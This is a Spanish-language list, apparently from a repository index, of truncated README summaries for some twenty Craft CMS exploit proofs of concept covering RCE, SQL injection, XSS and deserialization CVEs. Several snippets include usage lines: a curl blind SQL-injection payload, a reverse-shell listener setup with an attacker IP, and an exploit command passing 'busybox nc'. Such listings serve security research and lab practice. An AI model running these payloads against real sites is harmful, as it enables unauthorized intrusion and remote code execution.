CVE-2025-32432-POC

PoC de objetivo único para Craft CMS CVE-2025-32432 Solo pruebas autorizadas. Este repositorio está pensado para entornos de laboratorio controlados, plataformas CTF como Hack The Box, validación interna y verificación defensiva. No lo ejecutes contra sistemas que no te pertenezcan o para los que...

CVE-2024-37843-POC

CVE-2024-37843-POC PoC para CVE-2024-37843. Inyección SQL ciega basada en tiempo en Craft CMS Detalles disponibles en blog PoC curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \ \n \n LIMIT 5 AS subquery\nINNER...

CVE-2024-56145-craftcms-rce

Antes de ejecutar el script de nuevo, haz fuser -k 6666/tcp Uso - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Se puede usar un comando personalizado como python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i es tu IP o la IP de tu VPS úsala ejecutando ipconfig / ifconfig. Por...

Craft-CMS-Exploit

Este script de Python explota la vulnerabilidad de ejecución remota de código CVE-2023-41892 de Craft CMS, un popular sistema de gestión de contenidos. Las versiones entre 4.0.0-RC1 y 4.4.14 se ven afectadas por esta vulnerabilidad, lo que permite a atacantes ejecutar código arbitrario de forma...

CVE-2025-32432-PoC

CVE-2025-32432: Herramienta de Explotación de Envenenamiento de Registros a RCE Descripción Este repositorio contiene un exploit de prueba de concepto PoC profesional escrito en Go, diseñado para demostrar una cadena de vulnerabilidades crítica en Craft CMS. El exploit aprovecha una vulnerabilida...

CVE-2026-28695

CVE-2026-28695 Bypass de parche - RCE ciega en Craft CMS Ejecución remota de código ciega y autenticada en Craft CMS. Omite la restricción create - BaseObject añadida en la corrección de CVE-2026-28695 commit e31e508. Uso python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 bypass de parche — RCE autenticado en Craft CMS ≤ 5.9.8 element-search CVSS 3.x : 8.8 HIGH approx — verify CWE : CWE-502 Unsafe Object Instantiation + CWE-1336 SSTI origin Base : CVE-2026-28695 SSTI via create + Symfony Process Fix : advisory fix e31e508 restricts create to...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - Cross-Site Scripting Craft CMS 3.0.25 - Vulnerabilidad de Cross-Site Scripting CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 Prueba de concepto Permite ejecutar un Cross-Site Scripting al guardar un nuevo título desde la pestaña de la consola. POST...

CVE-2023-41892

CVE-2023-41892 - Craft CMS Ejecución Remota de Código RCE referencias: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...

craftcms-vcard-exploit

Vulnerabilidad de deserialización en el plugin vCard de Craft CMS Craft CMS tiene un plugin para descargar contactos en formato de archivo .vcf llamado «vCard». El plugin se puede revisar en el repositorio de Craft y en Github: Craft Plugin Store Github Descripción Este plugin toma un parámetro...

CVE-2026-31857

CVE-2026-31857 - Exploit de RCE en Craft CMS Exploit en Python para una vulnerabilidad de RCE en el panel de administración de Craft CMS, activada a través del endpoint admin/actions/element-indexes/count-elements. La inyección se realiza a través del campo elementIds de una condición...

CVE-2026-31857

CVE-2026-31857: RCE en el panel de control de Craft CMS CVE-2026-31857 es un problema de ejecución remota de código en las reglas de condiciones relacionales de Craft CMS. BaseElementSelectConditionRule::getElementIds renderiza entrada controlada por el usuario como una plantilla Twig sin sandbox...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS RCE sin autenticación previa Ejecución remota de código sin autenticación previa en Craft CMS Descubierto y desarrollado porMohammed Idrees Banyamer 📌 Descripción general CVE-2025-32432 es una vulnerabilidad crítica de ejecución remota de código RCE sin autenticación...

CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Exploit de RCE Pre-Auth en Craft CMS Autor: P34NUT2 Vulnerabilidad: Ejecución Remota de Código Pre-Autenticada en Craft CMS CVE: CVE-2025-32432 Objetivo: Cualquier instancia vulnerable de Craft CMS 3.x / 4.x / 5.x — probado en Hack The Box: Orion ⚠️ Descargo de responsabilidad Est...

CVE-2026-44011-craftcms-auth-rce

CVE-2026-44011 PoC de RCE autenticado en Craft CMS Solo para pruebas autorizadas. El aviso de Craft CMS indica =4.0.0, =5.0.0, ' -c '' Argumentos requeridos: -b, --base-url: URL de Craft, incluyendo http:// o https://. -u, --username: Nombre de usuario del panel de control. -p, --password:...

CVE-2026-44011-poc

CVE-2026-44011 RCE autenticado en Craft CMS mediante inyección de comportamiento de Yii. Afectados: 4.0.0–4.17.11, 5.0.0–5.9.17 Corregido en: 4.17.12, 5.9.18 Aviso: GHSA-qrgm-p9w5-rrfw Vulnerabilidad El endpoint /admin/actions/element-search/search acepta un parámetro condition que se pasa...

CVE-2026-44011-poc

CVE-2026-44011: PoC de RCE autenticado en Craft CMS Este script de Python adapta el ataque descrito en el aviso de seguridad de Craft CMS. Un usuario autenticado de Craft puede alcanzar una ruta de configuración de diseño de campos vulnerable y provocar que el servidor ejecute comandos. Alcance y...

CVE-2023-41892_PoC

CVE-2023-41892 PoC de Craft CMS Este repositorio contiene scripts de prueba de concepto y un laboratorio Vulhub local para reproducir CVE-2023-41892, una vulnerabilidad de ejecución remota de código sin autenticación en Craft CMS. Utilice este proyecto solo en un laboratorio local autorizado u...

CVE-2025-32432

CVE-2025-32432 PoC de RCE sin autenticación en Craft CMS Ejecución remota de código crítica sin autenticación en Craft CMS Afectado: Craft CMS 3.x, 4.x y 5.x hasta 5.6.16 Info: Este exploit está probado contra la máquina Orion de HackTheBox Resumen Este repositorio contiene un exploit de prueba d...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 Un entorno de laboratorio POC para CVE-2024-56145 CraftCMS RCE. Descripción de la vulnerabilidad Se encuentra una potencial vulnerabilidad RCE en craftCMS si la opción registerargcargv está habilitada en php.ini. Este es un entorno de laboratorio POC donde puedes...